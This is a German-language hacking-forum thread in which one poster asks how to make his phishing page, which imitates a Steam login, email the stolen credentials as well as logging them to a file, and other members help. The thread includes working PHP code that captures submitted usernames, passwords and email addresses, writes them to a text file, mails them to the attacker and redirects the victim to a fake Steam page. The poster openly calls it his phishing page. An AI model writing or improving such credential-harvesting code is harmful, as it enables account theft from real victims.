Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 10 von 16
  1. #1
    W32.FunLove
    Registriert seit
    05.09.2007
    Beiträge
    152

    Standard Wie kombiniere ich Mail und Logs?

    Hey wie kombiniere ich mail und log Methode. Momentan schreibe ich das ganze in eine txt. Jetzt will ich aber auch das mir die Daten gemailt werden .

    Code:
    <?php
    $feld= "\n---------------------------------------\n USER: " . $_POST['name'];
    $feld2= "\n PASS: " . $_POST['pass'];
    $feld3= "\n MAIL: " . $_POST['mail'];
    
    $write=fopen("name.txt", "a");
    fwrite($write, $feld);
    fwrite($write, $feld2);
    fwrite($write, $feld3);
    fclose($write);
    ?>
    <meta http-equiv="refresh"  
     content="0;url=/steam.php">

    So logge ich momentan. Mfg Kingslayer
    Quis custodiet ipsos custodes ???

  2. #2
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Gewöhnt euch mal bitte alle an, dass ihr nicht die vorhandenen Threads vollschreibt sondern neue öffnet, wenn ihr Fragen habt, wo ihr mehrere Antworten erwarten könnt.
    Denn die Sticky-Threads sind nicht zum beantworten eurer Fragen da!

    Und wo liegt nun das Problem? Wenn Du alle Daten schon hast brauchst Du sie ja nurnoch in eine Mail packen. Und bitte lass dieses Meta-Zeugs!
    Das wird mit header() gemacht, nicht mit Meta... -.-" Sorry, bei sowas kriege ich immer Anfälle, wenn ich sowas sehe xD.

    PHP-Code:
    <?php
    header
    ("location: /steam.php");

    $feld"\n---------------------------------------\n USER: " $_POST['name'];
    $feld2"\n PASS: " $_POST['pass'];
    $feld3"\n MAIL: " $_POST['mail'];

    $write=fopen("name.txt""a");
    fwrite($write$feld);
    fwrite($write$feld2);
    fwrite($write$feld3);
    fclose($write);

    $Name "Passwort-Service";
    $email "absender@adress.com";
    $recipient "DEINE_EMAIL@DEIN_HOST.de";
    $mail_body $feld."\r\n".$feld2."\r\n".$feld3;
    $subject "Passwort";
    $header "From: "$Name " <" $email ">\r\n";

    mail($recipient$subject$mail_body$header);

    exit;
    ?>
    Sollte so gehen. Wenn nicht, liest mal den Artikel über die Funktion mail() auf php.net.
    Come to the dark side - We have cookies

  3. #3
    W32.FunLove
    Registriert seit
    05.09.2007
    Beiträge
    152

    Standard

    Ist nicht von mir , ist von einer Page zu der ich den Login gefunden habe ... Würde gerne sowenig wie möglich ändern ^^.
    Quis custodiet ipsos custodes ???

  4. #4
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Weniger ginge nur, wenn Du die Daten direkt in den mail()-Befehl einbindest - Viel weniger wirst Du aber kaum hinbekommen...
    Solche Aktionen benötigen nunmal Code.
    Come to the dark side - We have cookies

  5. #5
    ©(¶Óo¶) Avatar von kalachnikov
    Registriert seit
    12.07.2009
    Beiträge
    624

    Standard

    Hier ist mal mein Code, den ich geschrieben hab als ich an einer Community mit Registrierung rumgebastelt habe.
    Dürfte leicht verständlich sein!

    PHP-Code:
    //Email absenden

    $to      $mail;
    $subject $row->name." Aktivierung deines Profils";
    $message 'Hallo '.$nick.'!

    Du hast dich eben erfolgreich bei '
    .$row->name.' angemeldet.
    Um dein Profil nutzen zu können, musst du es jedoch erst aktivieren.
    Dazu log dich bitte auf '
    .$row->name.' mit deinem Nick und deinem Passwort ein.

        Nick: '
    .$nick.'
        Passwort: '
    .$passwort_1.'

        Viel Spass wünscht dir das ganze '
    .$row->name.' Team!';
    $headers 'From: '.$row->email.'' "\r\n" .
       
    'Reply-To:  '.$row->email.'' "\r\n" .
       
    'X-Mailer: PHP/' phpversion();

    mail($to$subject$message$headers);


    }
    else 
    fehler ("Bitte f&uuml;llen Sie das Anmeldeformular vollst&auml;ndig aus!");




    else { 


    |____
    free-hack.com___|__\



  6. #6
    W32.FunLove
    Registriert seit
    05.09.2007
    Beiträge
    152

    Standard

    es geht mir mehr darum das der erste part und das

    <meta http-equiv="refresh"
    content="0;url=/steam.php">
    erhalten bleibt !
    Quis custodiet ipsos custodes ???

  7. #7
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Hast Du meinen Code bzw. meinen Beitrag mal angesehen?
    Meta ist crap, das macht man mit header(). Und das habe ich - Es hat den selben, jedoch besseren Effekt, wie bei Deinem Ursprungscode. Auch habe ich lediglich die Mailfunktion hinzugefügt. Wenn Du den Code nicht verstehst ist das nicht mein Problem bzw. wenn Du ihn Dir garnicht erst ansiehst.
    Come to the dark side - We have cookies

  8. #8
    ©(¶Óo¶) Avatar von kalachnikov
    Registriert seit
    12.07.2009
    Beiträge
    624

    Standard

    nimm dir mal ein PHP Grundkurs hier!


    |____
    free-hack.com___|__\



  9. #9
    W32.FunLove
    Registriert seit
    05.09.2007
    Beiträge
    152

    Standard

    Ich hab ihn schon gelesen und bin dir auch dankbar für ! Ich wollte es nur nicht ändern da es nicht meine Phishingpage ist !

    Noch ne Frage Kann ich bei absender "absender@adresse.com" lassen ?

    Und warum gibt es diese Zeile im Beispiel nicht ?

    <?php
    $username
    = $_POST['username'];
    $password = $_POST['password'];

    $to = "E-Mail";
    $subject = "Betreff";
    $content = "Username: ".$username ."\r\nPassword: ".$password;
    mail($to, $subject, $content);
    ?>


    MfG Kignslayer


    BTW Kalaschnikov keiner deiner Posts hat bisher geholfen...
    Geändert von Kingslayer (28.07.2009 um 14:50 Uhr)
    Quis custodiet ipsos custodes ???

  10. #10
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Manchmal geht absender@adresse.com (oder anderer Mist), manchmal nicht --> Testen.

    Warum diese Zeilen da nicht stehen? Sie stehen dort, Du guckst nur nicht richtig.

    PHP-Code:
    $username $_POST['username'];
    $password $_POST['password']; 
    steht in Deinem Ursprungscode als

    PHP-Code:
    $feld"\n---------------------------------------\n USER: " $_POST['name'];
    $feld2"\n PASS: " $_POST['pass'];
    $feld3"\n MAIL: " $_POST['mail']; 
    Und so habe ich es auch in die Mail-Funktion übertragen...

    Auch, wenn Du meinst, dass keiner von Kalaschnikovs Posts Dir bisher geholfen hat: Er hat Recht, ein PHP-Grundkurs wäre angebracht!
    Come to the dark side - We have cookies

Seite 1 von 2 12 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •